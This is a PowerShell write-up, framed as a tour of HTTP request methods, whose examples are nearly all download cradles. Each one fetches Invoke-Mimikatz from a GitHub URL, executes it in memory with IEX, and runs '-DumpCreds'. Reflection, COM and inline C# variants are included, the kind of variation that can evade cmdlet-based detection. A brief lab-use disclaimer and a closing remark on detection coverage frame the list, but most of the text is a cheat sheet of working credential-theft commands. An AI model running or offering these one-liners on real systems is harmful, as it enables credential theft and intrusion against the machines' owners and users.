PowerShell gives us quite a few ways to make HTTP requests. Depending on the PowerShell version, the installed .NET runtime, and the environment we are working with, one method may be more convenient than another.

What makes this interesting is that PowerShell is not limited to commands such as Invoke-WebRequest or Invoke-RestMethod. Since it has access to .NET classes, COM objects, reflection, and even inline C# code, the same HTTP request can be performed in several different ways.

In this write-up, I am going through some of the common approaches and showing the different syntax available for each one.

Note: The commands below are kept exactly as they appeared in my original notes. They are intended for authorized lab and security-testing environments.

1. HTTP Request Methods

A) System.Net.WebClient or Net.WebClient

One of the classic ways to retrieve remote content from PowerShell is through the .NET WebClient class.

Both Net.WebClient and System.Net.WebClient refer to the same class, so either form can be used.

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

The fully qualified version looks like this:

IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

Instead of creating the object with New-Object, newer .NET-style syntax can also be used.

IEX ([Net.WebClient]::new().DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -DumpCreds

The same thing using the complete namespace:

IEX ([System.Net.WebClient]::new().DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")); Invoke-Mimikatz -DumpCreds

WebClient Methods

Net.WebClient is not limited to DownloadString(). The class provides several methods depending on whether we want to retrieve text, files, binary data, or a stream.

.DownloadString()
.DownloadStringAsync()
.DownloadStringTaskAsync()
.DownloadFile()
.DownloadFileAsync()
.DownloadFileTaskAsync()
.DownloadData()
.DownloadDataAsync()
.DownloadDataTaskAsync()
.OpenRead()
.OpenReadAsync()
.OpenReadTaskAsync()

The synchronous methods are usually the easiest to use in small PowerShell examples, while the asynchronous versions can be useful when the request should not block the current thread.


B) Invoke-WebRequest

Invoke-WebRequest is PowerShell's built-in command for working with web content.

Unlike WebClient, this method does not require us to manually instantiate a .NET object.

IEX (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content; Invoke-Mimikatz -DumpCreds

PowerShell also provides the iwr alias, which makes the same command considerably shorter.

IEX (iwr -Uri "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1" -UseBasicParsing).Content; Invoke-Mimikatz -DumpCreds

The HTTP response returned by Invoke-WebRequest contains more than just the response body. In this example, .Content is used to access the body of the returned response.


C) Invoke-RestMethod

Another native PowerShell option is Invoke-RestMethod.

It is commonly associated with REST APIs, but it can also be used to retrieve content directly from an HTTP endpoint.

IEX (Invoke-RestMethod "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds

Its built-in alias is irm:

IEX (irm "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds

Compared with Invoke-WebRequest, Invoke-RestMethod is especially convenient when working with structured API responses, although the basic request syntax can be very compact.


D) System.Net.Http

PowerShell can also use the newer .NET HTTP API through System.Net.Http.HttpClient.

First, the required assembly is loaded, and then an HttpClient instance is created.

Add-Type -AssemblyName System.Net.Http;IEX ([Net.Http.HttpClient]::new().GetStringAsync("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").Result); Invoke-Mimikatz -DumpCreds

The fully qualified version is:

Add-Type -AssemblyName System.Net.Http;IEX ([System.Net.Http.HttpClient]::new().GetStringAsync("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").Result); Invoke-Mimikatz -DumpCreds

GetStringAsync() returns an asynchronous task. In these examples, .Result is used to retrieve the final string value synchronously.

This approach is useful to know because HttpClient is the modern .NET API for HTTP communication and offers much more flexibility when building larger HTTP workflows.


E) WebRequest + StreamReader

Another approach is to work with the response as a stream.

Here, System.Net.WebRequest creates the request, GetResponseStream() exposes the response stream, and StreamReader reads the stream into a string.

IEX ([IO.StreamReader]::new([System.Net.WebRequest]::Create("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1").GetResponse().GetResponseStream()).ReadToEnd()); Invoke-Mimikatz -DumpCreds

A similar result can be achieved using the OpenRead() method from WebClient.

IEX ([IO.StreamReader]::new([Net.WebClient]::new().OpenRead("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1")).ReadToEnd()); Invoke-Mimikatz -DumpCreds

This method is a little more verbose than DownloadString(), but it is useful for understanding what happens underneath many higher-level HTTP functions: a response is received as a stream and then read by the application.


F) COM Objects

PowerShell can also communicate with Windows COM objects that provide HTTP functionality.

Some available objects include:

MSXML2.XMLHTTP
MSXML2.XMLHTTP.6.0
MSXML2.ServerXMLHTTP
MSXML2.ServerXMLHTTP.6.0
WinHttp.WinHttpRequest.5.1

One important point from the original notes is that this method may involve writing the response into a temporary location depending on how it is used.

MSXML2.XMLHTTP

IEX (New-Object -ComObject MSXML2.XMLHTTP | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds

MSXML2.ServerXMLHTTP.6.0

IEX (New-Object -ComObject MSXML2.ServerXMLHTTP.6.0 | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds

WinHttp.WinHttpRequest.5.1

IEX (New-Object -ComObject WinHttp.WinHttpRequest.5.1 | ForEach-Object { $_.Open("GET",'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1',$false), $_.Send(), $_.responseText }); Invoke-Mimikatz -DumpCreds

Although the object names are different, the general process is similar: create the COM object, open an HTTP GET request, send it, and read the returned response.


G) Raw C# in PowerShell

Since PowerShell can compile C# code dynamically with Add-Type, another option is to create a small C# helper class and use it directly from PowerShell.

The first example creates a wrapper around WebClient.

Add-Type -TypeDefinition 'using System.Net;public class W{public static string G(string u){using(var w=new WebClient())return w.DownloadString(u);}}';IEX ([W]::G('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds

The second version uses HttpClient instead:

Add-Type -ReferencedAssemblies System.Net.Http -TypeDefinition 'using System.Net.Http;public class HttpHelper{public static string Get(string url){using(var c=new HttpClient()){return c.GetStringAsync(url).Result;}}}';IEX ([HttpHelper]::Get('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds

This approach is especially interesting because it shows how closely PowerShell and the .NET ecosystem are connected. When something becomes awkward to express directly in PowerShell, a small C# class can be compiled and called without leaving the PowerShell session.


H) Reflective Methods

Instead of directly creating a WebClient object using its normal syntax, PowerShell can also instantiate the type dynamically through .NET reflection-related APIs.

The simplest example uses Activator:

 IEX ([Activator]::CreateInstance([System.Net.WebClient]).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds

Another version retrieves the type through the assembly containing System.Net.WebClient.

IEX ([Activator]::CreateInstance([System.Reflection.Assembly]::GetAssembly([System.Net.WebClient]).GetType("System.Net.WebClient")).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds

The following example takes the idea one step further. It searches the assemblies currently loaded in the application's domain, finds the System.Net.WebClient type, creates an instance, and then uses it.

IEX (([Activator]::CreateInstance(([AppDomain]::CurrentDomain.GetAssemblies()|%{$_.GetType("System.Net.WebClient",$false)}|?{$_}|select -First 1))).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds

These examples are more complicated than directly using [System.Net.WebClient], but they are useful for understanding how .NET types can be discovered and instantiated dynamically at runtime.


I) PowerShell Aliases

Finally, PowerShell also provides familiar command names such as curl and wget in environments where they are mapped to PowerShell web-request functionality.

Using curl:

IEX ((curl 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content); Invoke-Mimikatz -DumpCreds

Using wget:

IEX ((wget 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1' -UseBasicParsing).Content); Invoke-Mimikatz -DumpCreds

These forms are short and easy to remember, although their exact behavior can depend on the PowerShell environment and version.


Final Notes

There is no single way to make an HTTP request from PowerShell.

The same basic task can be performed through:

  • System.Net.WebClient
  • Invoke-WebRequest
  • Invoke-RestMethod
  • System.Net.Http.HttpClient
  • WebRequest and StreamReader
  • Windows COM objects
  • Dynamically compiled C# code
  • Reflection and Activator
  • PowerShell aliases such as curl and wget

At first glance, many of these methods may look like completely different techniques. Underneath, however, most of them are simply different interfaces for sending an HTTP request and reading the returned data.

Knowing the different approaches is useful when reviewing PowerShell code, analyzing scripts, troubleshooting compatibility issues, or studying how PowerShell interacts with Windows and the .NET runtime.

For defensive security work, the same knowledge can also help when reviewing logs or detections: focusing only on commands such as Invoke-WebRequest may miss network activity performed through .NET classes, COM objects, dynamically compiled C#, or reflection.